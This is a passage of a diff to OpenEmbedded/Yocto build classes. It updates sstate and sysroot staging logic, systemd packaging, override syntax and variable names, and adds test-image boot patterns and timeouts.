+ if not os.path.exists(siginfo):
+ bb.siggen.dump_this_task(siginfo, d)
+ else:
+ try:
+ os.utime(siginfo, None)
+ except PermissionError:
+ pass
+ except OSError as e:
+ # Handle read-only file systems gracefully
+ import errno
+ if e.errno != errno.EROFS:
+ raise e
+
}
SSTATE_PRUNE_OBSOLETEWORKDIR ?= "1"
-# Event handler which removes manifests and stamps file for
-# recipes which are no longer reachable in a build where they
-# once were.
+#
+# Event handler which removes manifests and stamps file for recipes which are no
+# longer 'reachable' in a build where they once were. 'Reachable' refers to
+# whether a recipe is parsed so recipes in a layer which was removed would no
+# longer be reachable. Switching between systemd and sysvinit where recipes
+# became skipped would be another example.
+#
# Also optionally removes the workdir of those tasks/recipes
#
-addhandler sstate_eventhandler2
-sstate_eventhandler2[eventmask] = "bb.event.ReachableStamps"
-python sstate_eventhandler2() {
+addhandler sstate_eventhandler_reachablestamps
+sstate_eventhandler_reachablestamps[eventmask] = "bb.event.ReachableStamps"
+python sstate_eventhandler_reachablestamps() {
import glob
d = e.data
stamps = e.stamps.values()
@@ -1129,11 +1238,21 @@ python sstate_eventhandler2() {
i = d.expand("${SSTATE_MANIFESTS}/index-" + a)
if not os.path.exists(i):
continue
+ manseen = set()
+ ignore = []
with open(i, "r") as f:
lines = f.readlines()
- for l in lines:
+ for l in reversed(lines):
try:
(stamp, manifest, workdir) = l.split()
+ # The index may have multiple entries for the same manifest as the code above only appends
+ # new entries and there may be an entry with matching manifest but differing version in stamp/workdir.
+ # The last entry in the list is the valid one, any earlier entries with matching manifests
+ # should be ignored.
+ if manifest in manseen:
+ ignore.append(l)
+ continue
+ manseen.add(manifest)
if stamp not in stamps and stamp not in preservestamps and stamp in machineindex:
toremove.append(l)
if stamp not in seen:
@@ -1164,6 +1283,8 @@ python sstate_eventhandler2() {
with open(i, "w") as f:
for l in lines:
+ if l in ignore:
+ continue
f.write(l)
machineindex |= set(stamps)
with open(mi, "w") as f:
@@ -1173,3 +1294,59 @@ python sstate_eventhandler2() {
if preservestamps:
os.remove(preservestampfile)
}
+
+
+#
+# Bitbake can generate an event showing which setscene tasks are 'stale',
+# i.e. which ones will be rerun. These are ones where a stamp file is present but
+# it is stable (e.g. taskhash doesn't match). With that list we can go through
+# the manifests for matching tasks and "uninstall" those manifests now. We do
+# this now rather than mid build since the distribution of files between sstate
+# objects may have changed, new tasks may run first and if those new tasks overlap
+# with the stale tasks, we'd see overlapping files messages and failures. Thankfully
+# removing these files is fast.
+#
+addhandler sstate_eventhandler_stalesstate
+sstate_eventhandler_stalesstate[eventmask] = "bb.event.StaleSetSceneTasks"
+python sstate_eventhandler_stalesstate() {
+ d = e.data
+ tasks = e.tasks
+
+ bb.utils.mkdirhier(d.expand("${SSTATE_MANIFESTS}"))
+
+ for a in list(set(d.getVar("SSTATE_ARCHS").split())):
+ toremove = []
+ i = d.expand("${SSTATE_MANIFESTS}/index-" + a)
+ if not os.path.exists(i):
+ continue
+ with open(i, "r") as f:
+ lines = f.readlines()
+ for l in lines:
+ try:
+ (stamp, manifest, workdir) = l.split()
+ for tid in tasks:
+ for s in tasks[tid]:
+ if s.startswith(stamp):
+ taskname = bb.runqueue.taskname_from_tid(tid)[3:]
+ manname = manifest + "." + taskname
+ if os.path.exists(manname):
+ bb.debug(2, "Sstate for %s is stale, removing related manifest %s" % (tid, manname))
+ toremove.append((manname, tid, tasks[tid]))
+ break
+ except ValueError:
+ bb.fatal("Invalid line '%s' in sstate manifest '%s'" % (l, i))
+
+ if toremove:
+ msg = "Removing %d stale sstate objects for arch %s" % (len(toremove), a)
+ bb.event.fire(bb.event.ProcessStarted(msg, len(toremove)), d)
+
+ removed = 0
+ for (manname, tid, stamps) in toremove:
+ sstate_clean_manifest(manname, d)
+ for stamp in stamps:
+ bb.utils.remove(stamp)
+ removed = removed + 1
+ bb.event.fire(bb.event.ProcessProgress(msg, removed), d)
+
+ bb.event.fire(bb.event.ProcessFinished(msg), d)
+}
diff --git a/meta/classes/staging.bbclass b/meta/classes/staging.bbclass
index cca0b7e0d6..ab827766be 100644
--- a/meta/classes/staging.bbclass
+++ b/meta/classes/staging.bbclass
@@ -5,6 +5,7 @@ SYSROOT_DIRS = " \
${base_libdir} \
${nonarch_base_libdir} \
${datadir} \
+ /sysroot-only \
"
# These directories are also staged in the sysroot when they contain files that
@@ -18,21 +19,25 @@ SYSROOT_DIRS_NATIVE = " \
${sysconfdir} \
${localstatedir} \
"
-SYSROOT_DIRS_append_class-native = " ${SYSROOT_DIRS_NATIVE}"
-SYSROOT_DIRS_append_class-cross = " ${SYSROOT_DIRS_NATIVE}"
-SYSROOT_DIRS_append_class-crosssdk = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-native = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-cross = " ${SYSROOT_DIRS_NATIVE}"
+SYSROOT_DIRS:append:class-crosssdk = " ${SYSROOT_DIRS_NATIVE}"
# These directories will not be staged in the sysroot
-SYSROOT_DIRS_BLACKLIST = " \
+SYSROOT_DIRS_IGNORE = " \
${mandir} \
${docdir} \
${infodir} \
+ ${datadir}/X11/locale \
${datadir}/applications \
+ ${datadir}/bash-completion \
${datadir}/fonts \
${datadir}/gtk-doc/html \
+ ${datadir}/installed-tests \
${datadir}/locale \
${datadir}/pixmaps \
- ${libdir}/${PN}/ptest \
+ ${datadir}/terminfo \
+ ${libdir}/${BPN}/ptest \
"
sysroot_stage_dir() {
@@ -44,9 +49,10 @@ sysroot_stage_dir() {
fi
mkdir -p "$dest"
+ rdest=$(realpath --relative-to="$src" "$dest")
(
cd $src
- find . -print0 | cpio --null -pdlu $dest
+ find . -print0 | cpio --null -pdlu $rdest
)
}
@@ -59,7 +65,7 @@ sysroot_stage_dirs() {
done
# Remove directories we do not care about
- for dir in ${SYSROOT_DIRS_BLACKLIST}; do
+ for dir in ${SYSROOT_DIRS_IGNORE}; do
rm -rf "$to$dir"
done
}
@@ -75,9 +81,9 @@ python sysroot_strip () {
dstdir = d.getVar('SYSROOT_DESTDIR')
pn = d.getVar('PN')
- libdir = os.path.abspath(dstdir + os.sep + d.getVar("libdir"))
- base_libdir = os.path.abspath(dstdir + os.sep + d.getVar("base_libdir"))
- qa_already_stripped = 'already-stripped' in (d.getVar('INSANE_SKIP_' + pn) or "").split()
+ libdir = d.getVar("libdir")
+ base_libdir = d.getVar("base_libdir")
+ qa_already_stripped = 'already-stripped' in (d.getVar('INSANE_SKIP:' + pn) or "").split()
strip_cmd = d.getVar("STRIP")
oe.package.strip_execs(pn, dstdir, strip_cmd, libdir, base_libdir, d,
@@ -85,7 +91,6 @@ python sysroot_strip () {
}
do_populate_sysroot[dirs] = "${SYSROOT_DESTDIR}"
-do_populate_sysroot[umask] = "022"
addtask populate_sysroot after do_install
@@ -93,12 +98,13 @@ SYSROOT_PREPROCESS_FUNCS ?= ""
SYSROOT_DESTDIR = "${WORKDIR}/sysroot-destdir"
python do_populate_sysroot () {
+ # SYSROOT 'version' 2
bb.build.exec_func("sysroot_stage_all", d)
bb.build.exec_func("sysroot_strip", d)
for f in (d.getVar('SYSROOT_PREPROCESS_FUNCS') or '').split():
bb.build.exec_func(f, d)
pn = d.getVar("PN")
- multiprov = d.getVar("MULTI_PROVIDER_WHITELIST").split()
+ multiprov = d.getVar("BB_MULTI_PROVIDER_ALLOWED").split()
provdir = d.expand("${SYSROOT_DESTDIR}${base_prefix}/sysroot-providers/")
bb.utils.mkdirhier(provdir)
for p in d.getVar("PROVIDES").split():
@@ -110,11 +116,11 @@ python do_populate_sysroot () {
}
do_populate_sysroot[vardeps] += "${SYSROOT_PREPROCESS_FUNCS}"
-do_populate_sysroot[vardepsexclude] += "MULTI_PROVIDER_WHITELIST"
+do_populate_sysroot[vardepsexclude] += "BB_MULTI_PROVIDER_ALLOWED"
POPULATESYSROOTDEPS = ""
-POPULATESYSROOTDEPS_class-target = "virtual/${MLPREFIX}${TARGET_PREFIX}binutils:do_populate_sysroot"
-POPULATESYSROOTDEPS_class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
+POPULATESYSROOTDEPS:class-target = "virtual/${MLPREFIX}${HOST_PREFIX}binutils:do_populate_sysroot"
+POPULATESYSROOTDEPS:class-nativesdk = "virtual/${HOST_PREFIX}binutils-crosssdk:do_populate_sysroot"
do_populate_sysroot[depends] += "${POPULATESYSROOTDEPS}"
SSTATETASKS += "do_populate_sysroot"
@@ -277,11 +283,13 @@ python extend_recipe_sysroot() {
start = None
configuredeps = []
+ owntaskdeps = []
for dep in taskdepdata:
data = taskdepdata[dep]
if data[1] == mytaskname and data[0] == pn:
start = dep
- break
+ elif data[0] == pn:
+ owntaskdeps.append(data[1])
if start is None:
bb.fatal("Couldn't find ourself in BB_TASKDEPDATA?")
@@ -299,6 +307,7 @@ python extend_recipe_sysroot() {
sstatetasks = d.getVar("SSTATETASKS").split()
# Add recipe specific tasks referenced by setscene_depvalid()
sstatetasks.append("do_stash_locale")
+ sstatetasks.append("do_deploy")
def print_dep_tree(deptree):
data = ""
@@ -402,7 +411,7 @@ python extend_recipe_sysroot() {
if os.path.islink(f) and not os.path.exists(f):
bb.note("%s no longer exists, removing from sysroot" % f)
lnk = os.readlink(f.replace(".complete", ""))
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(f)
os.unlink(f.replace(".complete", ""))
@@ -427,7 +436,7 @@ python extend_recipe_sysroot() {
# Was likely already uninstalled
continue
potential.append(l)
- # We need to ensure not other task needs this dependency. We hold the sysroot
+ # We need to ensure no other task needs this dependency. We hold the sysroot
# lock so we ca search the indexes to check
if potential:
for i in glob.glob(depdir + "/index.*"):
@@ -435,6 +444,11 @@ python extend_recipe_sysroot() {
continue
with open(i, "r") as f:
for l in f:
+ if l.startswith("TaskDeps:"):
+ prevtasks = l.split()[1:]
+ if mytaskname in prevtasks:
+ # We're a dependency of this task so we can clear items out the sysroot
+ break
l = l.strip()
if l in potential:
potential.remove(l)
@@ -442,7 +456,7 @@ python extend_recipe_sysroot() {
fl = depdir + "/" + l
bb.note("Task %s no longer depends on %s, removing from sysroot" % (mytaskname, l))
lnk = os.readlink(fl)
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(fl)
os.unlink(fl + ".complete")
@@ -463,13 +477,14 @@ python extend_recipe_sysroot() {
continue
else:
bb.note("%s exists in sysroot, but is stale (%s vs. %s), removing." % (c, lnk, c + "." + taskhash))
- sstate_clean_manifest(depdir + "/" + lnk, d, workdir)
+ sstate_clean_manifest(depdir + "/" + lnk, d, canrace=True, prefix=workdir)
os.unlink(depdir + "/" + c)
if os.path.lexists(depdir + "/" + c + ".complete"):
os.unlink(depdir + "/" + c + ".complete")
elif os.path.lexists(depdir + "/" + c):
os.unlink(depdir + "/" + c)
+ binfiles = {}
# Now handle installs
for dep in configuredeps:
c = setscenedeps[dep][0]
@@ -562,7 +577,16 @@ python extend_recipe_sysroot() {
if l.endswith("/"):
staging_copydir(l, targetdir, dest, seendirs)
continue
- staging_copyfile(l, targetdir, dest, postinsts, seendirs)
+ if "/bin/" in l or "/sbin/" in l:
+ # defer /*bin/* files until last in case they need libs
+ binfiles[l] = (targetdir, dest)
+ else:
+ staging_copyfile(l, targetdir, dest, postinsts, seendirs)
+
+ # Handle deferred binfiles
+ for l in binfiles:
+ (targetdir, dest) = binfiles[l]
+ staging_copyfile(l, targetdir, dest, postinsts, seendirs)
bb.note("Installed into sysroot: %s" % str(msg_adding))
bb.note("Skipping as already exists in sysroot: %s" % str(msg_exists))
@@ -578,6 +602,7 @@ python extend_recipe_sysroot() {
os.symlink(manifests[dep], depdir + "/" + c + ".complete")
with open(taskindex, "w") as f:
+ f.write("TaskDeps: " + " ".join(owntaskdeps) + "\n")
for l in sorted(installed):
f.write(l + "\n")
@@ -595,8 +620,41 @@ python staging_taskhandler() {
bbtasks = e.tasklist
for task in bbtasks:
deps = d.getVarFlag(task, "depends")
- if deps and "populate_sysroot" in deps:
- d.appendVarFlag(task, "prefuncs", " extend_recipe_sysroot")
+ if task == "do_configure" or (deps and "populate_sysroot" in deps):
+ d.prependVarFlag(task, "prefuncs", "extend_recipe_sysroot ")
}
staging_taskhandler[eventmask] = "bb.event.RecipeTaskPreProcess"
addhandler staging_taskhandler
+
+
+#
+# Target build output, stored in do_populate_sysroot or do_package can depend
+# not only upon direct dependencies but also indirect ones. A good example is
+# linux-libc-headers. The toolchain depends on this but most target recipes do
+# not. There are some headers which are not used by the toolchain build and do
+# not change the toolchain task output, hence the task hashes can change without
+# changing the sysroot output of that recipe yet they can influence others.
+#
+# A specific example is rtc.h which can change rtcwake.c in util-linux but is not
+# used in the glibc or gcc build. To account for this, we need to account for the
+# populate_sysroot hashes in the task output hashes.
+#
+python target_add_sysroot_deps () {
+ current_task = "do_" + d.getVar("BB_CURRENTTASK")
+ if current_task not in ["do_populate_sysroot", "do_package"]:
+ return
+
+ pn = d.getVar("PN")
+ if pn.endswith("-native"):
+ return
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ deps = {}
+ for dep in taskdepdata.values():
+ if dep[1] == "do_populate_sysroot" and not dep[0].endswith(("-native", "-initial")) and "-cross-" not in dep[0]:
+ deps[dep[0]] = dep[6]
+
+ d.setVar("HASHEQUIV_EXTRA_SIGDATA", "\n".join("%s: %s" % (k, deps[k]) for k in sorted(deps.keys())))
+}
+SSTATECREATEFUNCS += "target_add_sysroot_deps"
+
diff --git a/meta/classes/systemd-boot.bbclass b/meta/classes/systemd-boot.bbclass
index 336c4c2ff5..57ec0acbc5 100644
--- a/meta/classes/systemd-boot.bbclass
+++ b/meta/classes/systemd-boot.bbclass
@@ -28,7 +28,7 @@ efi_populate() {
done
}
-efi_iso_populate_append() {
+efi_iso_populate:append() {
cp -r $iso_dir/loader ${EFIIMGDIR}
}
diff --git a/meta/classes/systemd.bbclass b/meta/classes/systemd.bbclass
index 9e8a82c9f1..09ec52792d 100644
--- a/meta/classes/systemd.bbclass
+++ b/meta/classes/systemd.bbclass
@@ -1,9 +1,9 @@
# The list of packages that should have systemd packaging scripts added. For
-# each entry, optionally have a SYSTEMD_SERVICE_[package] that lists the service
+# each entry, optionally have a SYSTEMD_SERVICE:[package] that lists the service
# files in this package. If this variable isn't set, [package].service is used.
SYSTEMD_PACKAGES ?= "${PN}"
-SYSTEMD_PACKAGES_class-native ?= ""
-SYSTEMD_PACKAGES_class-nativesdk ?= ""
+SYSTEMD_PACKAGES:class-native ?= ""
+SYSTEMD_PACKAGES:class-nativesdk ?= ""
# Whether to enable or disable the services on installation.
SYSTEMD_AUTO_ENABLE ??= "enable"
@@ -23,7 +23,7 @@ python __anonymous() {
}
systemd_postinst() {
-if type systemctl >/dev/null 2>/dev/null; then
+if systemctl >/dev/null 2>/dev/null; then
OPTS=""
if [ -n "$D" ]; then
@@ -48,7 +48,7 @@ fi
}
systemd_prerm() {
-if type systemctl >/dev/null 2>/dev/null; then
+if systemctl >/dev/null 2>/dev/null; then
if [ -z "$D" ]; then
systemctl stop ${SYSTEMD_SERVICE_ESCAPED}
@@ -70,7 +70,7 @@ python systemd_populate_packages() {
return
def get_package_var(d, var, pkg):
- val = (d.getVar('%s_%s' % (var, pkg)) or "").strip()
+ val = (d.getVar('%s:%s' % (var, pkg)) or "").strip()
if val == "":
val = (d.getVar(var) or "").strip()
return val
@@ -85,39 +85,39 @@ python systemd_populate_packages() {
def systemd_generate_package_scripts(pkg):
bb.debug(1, 'adding systemd calls to postinst/postrm for %s' % pkg)
- paths_escaped = ' '.join(shlex.quote(s) for s in d.getVar('SYSTEMD_SERVICE_' + pkg).split())
- d.setVar('SYSTEMD_SERVICE_ESCAPED_' + pkg, paths_escaped)
+ paths_escaped = ' '.join(shlex.quote(s) for s in d.getVar('SYSTEMD_SERVICE:' + pkg).split())
+ d.setVar('SYSTEMD_SERVICE_ESCAPED:' + pkg, paths_escaped)
- # Add pkg to the overrides so that it finds the SYSTEMD_SERVICE_pkg
+ # Add pkg to the overrides so that it finds the SYSTEMD_SERVICE:pkg
# variable.
localdata = d.createCopy()
localdata.prependVar("OVERRIDES", pkg + ":")
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += localdata.getVar('systemd_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += localdata.getVar('systemd_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
- # Add files to FILES_*-systemd if existent and not already done
+ # Add files to FILES:*-systemd if existent and not already done
def systemd_append_file(pkg_systemd, file_append):
appended = False
if os.path.exists(oe.path.join(d.getVar("D"), file_append)):
- var_name = "FILES_" + pkg_systemd
+ var_name = "FILES:" + pkg_systemd
files = d.getVar(var_name, False) or ""
if file_append not in files.split():
d.appendVar(var_name, " " + file_append)
appended = True
return appended
- # Add systemd files to FILES_*-systemd, parse for Also= and follow recursive
+ # Add systemd files to FILES:*-systemd, parse for Also= and follow recursive
def systemd_add_files_and_parse(pkg_systemd, path, service, keys):
# avoid infinite recursion
if systemd_append_file(pkg_systemd, oe.path.join(path, service)):
@@ -174,31 +174,32 @@ python systemd_populate_packages() {
if path_found != '':
systemd_add_files_and_parse(pkg_systemd, path_found, service, keys)
else:
- bb.fatal("SYSTEMD_SERVICE_%s value %s does not exist" % (pkg_systemd, service))
+ bb.fatal("Didn't find service unit '{0}', specified in SYSTEMD_SERVICE:{1}. {2}".format(
+ service, pkg_systemd, "Also looked for service unit '{0}'.".format(base) if base is not None else ""))
def systemd_create_presets(pkg, action):
presetf = oe.path.join(d.getVar("PKGD"), d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg)
bb.utils.mkdirhier(os.path.dirname(presetf))
with open(presetf, 'a') as fd:
- for service in d.getVar('SYSTEMD_SERVICE_%s' % pkg).split():
+ for service in d.getVar('SYSTEMD_SERVICE:%s' % pkg).split():
fd.write("%s %s\n" % (action,service))
- d.appendVar("FILES_%s" % pkg, ' ' + oe.path.join(d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg))
+ d.appendVar("FILES:%s" % pkg, ' ' + oe.path.join(d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg))
# Run all modifications once when creating package
if os.path.exists(d.getVar("D")):
for pkg in d.getVar('SYSTEMD_PACKAGES').split():
systemd_check_package(pkg)
- if d.getVar('SYSTEMD_SERVICE_' + pkg):
+ if d.getVar('SYSTEMD_SERVICE:' + pkg):
systemd_generate_package_scripts(pkg)
action = get_package_var(d, 'SYSTEMD_AUTO_ENABLE', pkg)
if action in ("enable", "disable"):
systemd_create_presets(pkg, action)
elif action not in ("mask", "preset"):
- bb.fatal("SYSTEMD_AUTO_ENABLE_%s '%s' is not 'enable', 'disable', 'mask' or 'preset'" % (pkg, action))
+ bb.fatal("SYSTEMD_AUTO_ENABLE:%s '%s' is not 'enable', 'disable', 'mask' or 'preset'" % (pkg, action))
systemd_check_services()
}
-PACKAGESPLITFUNCS_prepend = "systemd_populate_packages "
+PACKAGESPLITFUNCS:prepend = "systemd_populate_packages "
python rm_systemd_unitdir (){
import shutil
@@ -226,7 +227,7 @@ python rm_sysvinit_initddir (){
}
do_install[postfuncs] += "${RMINITDIR} "
-RMINITDIR_class-target = " rm_sysvinit_initddir rm_systemd_unitdir "
-RMINITDIR_class-nativesdk = " rm_sysvinit_initddir rm_systemd_unitdir "
+RMINITDIR:class-target = " rm_sysvinit_initddir rm_systemd_unitdir "
+RMINITDIR:class-nativesdk = " rm_sysvinit_initddir rm_systemd_unitdir "
RMINITDIR = ""
diff --git a/meta/classes/terminal.bbclass b/meta/classes/terminal.bbclass
index 6059ae95e0..a564ee7494 100644
--- a/meta/classes/terminal.bbclass
+++ b/meta/classes/terminal.bbclass
@@ -26,6 +26,9 @@ def emit_terminal_func(command, envdata, d):
bb.utils.mkdirhier(os.path.dirname(runfile))
with open(runfile, 'w') as script:
+ # Override the shell shell_trap_code specifies.
+ # If our shell is bash, we might well face silent death.
+ script.write("#!/bin/bash\n")
script.write(bb.build.shell_trap_code())
bb.data.emit_func(cmd_func, script, envdata)
script.write(cmd_func)
@@ -37,7 +40,7 @@ def emit_terminal_func(command, envdata, d):
def oe_terminal(command, title, d):
import oe.data
import oe.terminal
-
+
envdata = bb.data.init()
for v in os.environ:
diff --git a/meta/classes/testexport.bbclass b/meta/classes/testexport.bbclass
index 59cbaefbf9..1b0fb44a4a 100644
--- a/meta/classes/testexport.bbclass
+++ b/meta/classes/testexport.bbclass
@@ -137,7 +137,7 @@ def copy_needed_files(d, tc):
shutil.rmtree(os.path.join(subdir, dir))
# Create tar file for common parts of testexport
- create_tarball(d, "testexport.tar.gz", d.getVar("TEST_EXPORT_DIR"))
+ testexport_create_tarball(d, "testexport.tar.gz", d.getVar("TEST_EXPORT_DIR"))
# Copy packages needed for runtime testing
package_extraction(d, tc.suites)
@@ -146,7 +146,7 @@ def copy_needed_files(d, tc):
export_pkg_dir = os.path.join(d.getVar("TEST_EXPORT_DIR"), "packages")
oe.path.copytree(test_pkg_dir, export_pkg_dir)
# Create tar file for packages needed by the DUT
- create_tarball(d, "testexport_packages_%s.tar.gz" % d.getVar("MACHINE"), export_pkg_dir)
+ testexport_create_tarball(d, "testexport_packages_%s.tar.gz" % d.getVar("MACHINE"), export_pkg_dir)
# Copy SDK
if d.getVar("TEST_EXPORT_SDK_ENABLED") == "1":
@@ -159,11 +159,11 @@ def copy_needed_files(d, tc):
shutil.copy2(tarball_path, export_sdk_dir)
# Create tar file for the sdk
- create_tarball(d, "testexport_sdk_%s.tar.gz" % d.getVar("SDK_ARCH"), export_sdk_dir)
+ testexport_create_tarball(d, "testexport_sdk_%s.tar.gz" % d.getVar("SDK_ARCH"), export_sdk_dir)
bb.plain("Exported tests to: %s" % export_path)
-def create_tarball(d, tar_name, src_dir):
+def testexport_create_tarball(d, tar_name, src_dir):
import tarfile
diff --git a/meta/classes/testimage.bbclass b/meta/classes/testimage.bbclass
index 844ed87944..898248992c 100644
--- a/meta/classes/testimage.bbclass
+++ b/meta/classes/testimage.bbclass
@@ -3,6 +3,8 @@
# Released under the MIT license (see COPYING.MIT)
inherit metadata_scm
+inherit image-artifact-names
+
# testimage.bbclass enables testing of qemu images using python unittests.
# Most of the tests are commands run on target image over ssh.
# To use it add testimage to global inherit and call your target image with -c testimage
@@ -31,8 +33,21 @@ TESTIMAGE_AUTO ??= "0"
# TEST_LOG_DIR contains a command ssh log and may contain infromation about what command is running, output and return codes and for qemu a boot log till login.
# Booting is handled by this class, and it's not a test in itself.
# TEST_QEMUBOOT_TIMEOUT can be used to set the maximum time in seconds the launch code will wait for the login prompt.
+# TEST_OVERALL_TIMEOUT can be used to set the maximum time in seconds the tests will be allowed to run (defaults to no limit).
# TEST_QEMUPARAMS can be used to pass extra parameters to qemu, e.g. "-m 1024" for setting the amount of ram to 1 GB.
# TEST_RUNQEMUPARAMS can be used to pass extra parameters to runqemu, e.g. "gl" to enable OpenGL acceleration.
+# QEMU_USE_KVM can be set to "" to disable the use of kvm (by default it is enabled if target_arch == build_arch or both of them are x86 archs)
+
+# TESTIMAGE_BOOT_PATTERNS can be used to override certain patterns used to communicate with the target when booting,
+# if a pattern is not specifically present on this variable a default will be used when booting the target.
+# TESTIMAGE_BOOT_PATTERNS[<flag>] overrides the pattern used for that specific flag, where flag comes from a list of accepted flags
+# e.g. normally the system boots and waits for a login prompt (login:), after that it sends the command: "root\n" to log as the root user
+# if we wanted to log in as the hypothetical "webserver" user for example we could set the following:
+# TESTIMAGE_BOOT_PATTERNS = "send_login_user search_login_succeeded"
+# TESTIMAGE_BOOT_PATTERNS[send_login_user] = "webserver\n"
+# TESTIMAGE_BOOT_PATTERNS[search_login_succeeded] = "webserver@[a-zA-Z0-9\-]+:~#"
+# The accepted flags are the following: search_reached_prompt, send_login_user, search_login_succeeded, search_cmd_finished.
+# They are prefixed with either search/send, to differentiate if the pattern is meant to be sent or searched to/from the target terminal
TEST_LOG_DIR ?= "${WORKDIR}/testimage"
@@ -46,30 +61,32 @@ BASICTESTSUITE = "\
ping date df ssh scp python perl gi ptest parselogs \
logrotate connman systemd oe_syslog pam stap ldd xorg \
kernelmodule gcc buildcpio buildlzip buildgalculator \
- dnf rpm opkg apt"
+ dnf rpm opkg apt weston go rust"
DEFAULT_TEST_SUITES = "${BASICTESTSUITE}"
-# aarch64 has no graphics
-DEFAULT_TEST_SUITES_remove_aarch64 = "xorg"
# musl doesn't support systemtap
-DEFAULT_TEST_SUITES_remove_libc-musl = "stap"
+DEFAULT_TEST_SUITES:remove:libc-musl = "stap"
# qemumips is quite slow and has reached the timeout limit several times on the YP build cluster,
# mitigate this by removing build tests for qemumips machines.
MIPSREMOVE ??= "buildcpio buildlzip buildgalculator"
-DEFAULT_TEST_SUITES_remove_qemumips = "${MIPSREMOVE}"
-DEFAULT_TEST_SUITES_remove_qemumips64 = "${MIPSREMOVE}"
+DEFAULT_TEST_SUITES:remove:qemumips = "${MIPSREMOVE}"
+DEFAULT_TEST_SUITES:remove:qemumips64 = "${MIPSREMOVE}"
TEST_SUITES ?= "${DEFAULT_TEST_SUITES}"
+QEMU_USE_KVM ?= "1"
TEST_QEMUBOOT_TIMEOUT ?= "1000"
+TEST_OVERALL_TIMEOUT ?= ""
TEST_TARGET ?= "qemu"
TEST_QEMUPARAMS ?= ""
TEST_RUNQEMUPARAMS ?= ""
+TESTIMAGE_BOOT_PATTERNS ?= ""
+
TESTIMAGEDEPENDS = ""
-TESTIMAGEDEPENDS_append_qemuall = " qemu-native:do_populate_sysroot qemu-helper-native:do_populate_sysroot qemu-helper-native:do_addto_recipe_sysroot"
+TESTIMAGEDEPENDS:append:qemuall = " qemu-native:do_populate_sysroot qemu-helper-native:do_populate_sysroot qemu-helper-native:do_addto_recipe_sysroot"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'cpio-native:do_populate_sysroot', '', d)}"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'dnf-native:do_populate_sysroot', '', d)}"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'createrepo-c-native:do_populate_sysroot', '', d)}"
@@ -77,7 +94,7 @@ TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'ipk', 'opkg-utils-na
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'deb', 'apt-native:do_populate_sysroot package-index:do_package_index', '', d)}"
TESTIMAGELOCK = "${TMPDIR}/testimage.lock"
-TESTIMAGELOCK_qemuall = ""
+TESTIMAGELOCK:qemuall = ""
TESTIMAGE_DUMP_DIR ?= "${LOG_DIR}/runtime-hostdump/"
@@ -110,12 +127,19 @@ testimage_dump_host () {
netstat -an
}
+testimage_dump_monitor () {
+ query-status
+ query-block
+ dump-guest-memory {"paging":false,"protocol":"file:%s.img"}
+}
+
python do_testimage() {
testimage_main(d)
}
addtask testimage
do_testimage[nostamp] = "1"
+do_testimage[network] = "1"
do_testimage[depends] += "${TESTIMAGEDEPENDS}"
do_testimage[lockfiles] += "${TESTIMAGELOCK}"
@@ -150,11 +174,35 @@ def get_testimage_json_result_dir(d):
def get_testimage_result_id(configuration):
return '%s_%s_%s_%s' % (configuration['TEST_TYPE'], configuration['IMAGE_BASENAME'], configuration['MACHINE'], configuration['STARTTIME'])
+def get_testimage_boot_patterns(d):
+ from collections import defaultdict
+ boot_patterns = defaultdict(str)
+ # Only accept certain values
+ accepted_patterns = ['search_reached_prompt', 'send_login_user', 'search_login_succeeded', 'search_cmd_finished']
+ # Not all patterns need to be overriden, e.g. perhaps we only want to change the user
+ boot_patterns_flags = d.getVarFlags('TESTIMAGE_BOOT_PATTERNS') or {}
+ if boot_patterns_flags:
+ patterns_set = [p for p in boot_patterns_flags.items() if p[0] in d.getVar('TESTIMAGE_BOOT_PATTERNS').split()]
+ for flag, flagval in patterns_set:
+ if flag not in accepted_patterns:
+ bb.fatal('Testimage: The only accepted boot patterns are: search_reached_prompt,send_login_user, \
+ search_login_succeeded,search_cmd_finished\n Make sure your TESTIMAGE_BOOT_PATTERNS=%s \
+ contains an accepted flag.' % d.getVar('TESTIMAGE_BOOT_PATTERNS'))
+ return
+ # We know boot prompt is searched through in binary format, others might be expressions
+ if flag == 'search_reached_prompt':
+ boot_patterns[flag] = flagval.encode()
+ else:
+ boot_patterns[flag] = flagval.encode().decode('unicode-escape')
+ return boot_patterns
+
+
def testimage_main(d):
import os
import json
import signal
import logging
+ import shutil
from bb.utils import export_proxies
from oeqa.core.utils.misc import updateTestData
@@ -168,7 +216,11 @@ def testimage_main(d):
"""
Catch SIGTERM from worker in order to stop qemu.
"""
- raise RuntimeError
+ os.kill(os.getpid(), signal.SIGINT)
+
+ def handle_test_timeout(timeout):
+ bb.warn("Global test timeout reached (%s seconds), stopping the tests." %(timeout))
+ os.kill(os.getpid(), signal.SIGINT)
testimage_sanity(d)
@@ -186,9 +238,10 @@ def testimage_main(d):
tdname = "%s.testdata.json" % image_name
try:
- td = json.load(open(tdname, "r"))
- except (FileNotFoundError) as err:
